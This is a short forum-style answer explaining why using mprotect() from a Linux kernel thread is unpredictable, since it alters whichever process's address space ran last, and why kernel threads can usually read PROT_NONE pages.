If a kernel thread does a mprotect() on a page, assuming that this works at all (the Linux kernel may have safeguards here, I haven't tried), then it will modify the current address space, the one of the unlucky process who ran last, and which process is that cannot be reliably predicted. Whether this impacts another kernel process depends on whether that other process will use the same address space or not, something which can change at each context switch, hundreds of times per second.

Moreover, kernel threads run with kernel privileges, which means that they can do more than normal applications. They tend to be able to read PROT_NONE pages, provided that they do so through the right address (there again, it depends on the architecture and kernel version, but kernel threads will normally be able to see all pages with full access rights for them).

Summary: if it is allowed at all by the kernel, it seems most unwise to fiddle with userland RAM from kernel threads.